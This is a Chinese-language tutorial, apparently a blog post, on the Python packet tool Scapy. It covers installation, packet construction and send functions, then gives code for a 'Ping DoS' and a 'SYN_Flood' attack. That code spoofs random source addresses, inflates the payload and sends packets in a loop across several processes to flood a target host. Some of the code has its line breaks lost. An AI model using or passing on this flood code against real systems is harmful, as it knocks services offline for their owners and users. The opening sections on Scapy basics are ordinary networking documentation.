介绍

  • 首先给出官网。
  • Scapy是用Python编写的交互式数据包处理工具。
  • 使用Scapy可以伪造或解码各种协议的数据包,在线发送它们,捕获它们,匹配请求和答复等等。

下载

  • 由于是Python编写的,使用pip install进行安装,这里使用清华源加速。
pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple
  • 直接使用scapy命令打开,若显示无法导入相关库,则对其中缺失的相关包进行安装。
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

使用

包配置

  • 使用TCP/IP协议构造基本数据包,这里调用了Scapy的内置函数IP()TCP()
pkt = IP()/TCP()

注意:IP()一定在TCP()之前。

IP()参数解析

参数 含义 默认值
version 版本 4
ihl 报头长度 None
tos 服务类型 0x0
len 报文总长度 None
id 标识符 1
flags 标记 NULL
frag 段偏移 0
ttl 生存周期 64
proto 协议 tcp
chksum 校验和 None
src IP地址 127.0.0.1
dst 目的IP地址 127.0.0.1

TCP()参数解析

参数 含义 默认值
sport 源端口 ftp_data
dport 目的端口 http
seq 序号 0
ack 确认号 0
dataofs 数据偏移 None
reserved 保留位 0
flags 控制功能 S
window 窗口大小 8192
chksum 校验和 None
urgptr 紧急指针 0
options 选项 []
  • 根据需求设置数据包之后,使用{PKT_NAME}.show()可以查看报文信息。
###[ IP ]### version= 4ihl= Nonetos= 0x0len= Noneid= 1flags= frag= 0ttl= 64proto= tcpchksum= Nonesrc= 192.168.239.128dst= 110.242.68.4\options\
###[ TCP ]### sport= ftp_datadport= httpseq= 0ack= 0dataofs= Nonereserved= 0flags= Swindow= 8192chksum= Noneurgptr= 0options= []

包发送

  • 使用send()函数发送数据包,该函数不返回响应。
>>> send(pkt)
.
Sent 1 packets.

sendp()等加了p的函数作用于第二层,发送的是帧。

  • sr()sr1()发送数据包并接收响应。
>>> res, unans = sr(pkt)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> res
<Results: TCP:1 UDP:0 ICMP:0 Other:0>
>>> unans
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>

sr()sr1()的区别在于,sr1()只有一个返回值(Results)。

Ping DoS

  • 使用Ping进行DoS攻击时,由于Ping使用的是ICMP协议,下面给出ICMP()的参数解析。

ICMP()参数解析

参数 含义 默认值
type 消息类型 echo-request
code 代码 0
chksum 校验和 None
id 标识 0x0
seq 序号 0x0
  • Ping攻击报文的设置比较简单,通过随机配置ICMP()也能实现Ping DoS的攻击效果。
  • 结合IP()设置目标主机IP
#判断是否随机源
if random_source ==True:#随机构造IPsource_ip = Random_IP()ip_proto = IP(src = source_ip,dst = host,ttl = 1,id = id_ip)
else:ip_proto = IP(dst = host,ttl = 1,id = id_ip)#id_ping和seq_ping均为随机配置icmp_proto = ICMP(id = id_ping,seq = seq_ping)#设置数据内容data = b'ping dos'pkt = ip_proto / icmp_proto / data *100send(pkt)
  • 在这基础上,要想达到效果,我们需要增加攻击报文的量。
  • 通过循环重复攻击之外,我们采用多进程并发的方式增大攻击频率。
#processes设置太高会影响本机运作,太低起不到干扰效果
def ping_concurrent(host, processes=5, random_source=True):#创建进程池pool = multiprocessing.Pool(processes=processes)while True:try:#选择进程的任务和参数pool.apply_async(ping_times, (host, random_source))except KeyboardInterrupt:pool.terminate()

SYN_Flood

  • 多进程和重复次数的性质和Ping DoS一致,这里主要的区别在于把ICMP协议换成了TCP协议。
# Randomly generate source port
src_port = randint(1,65535)tcp_proto = TCP(sport = src_port,dport = port,flags = "S")pkt = ip_proto / tcp_proto
  • 其中flags变量表示了TCP三次握手的不同状态,S表示SYN

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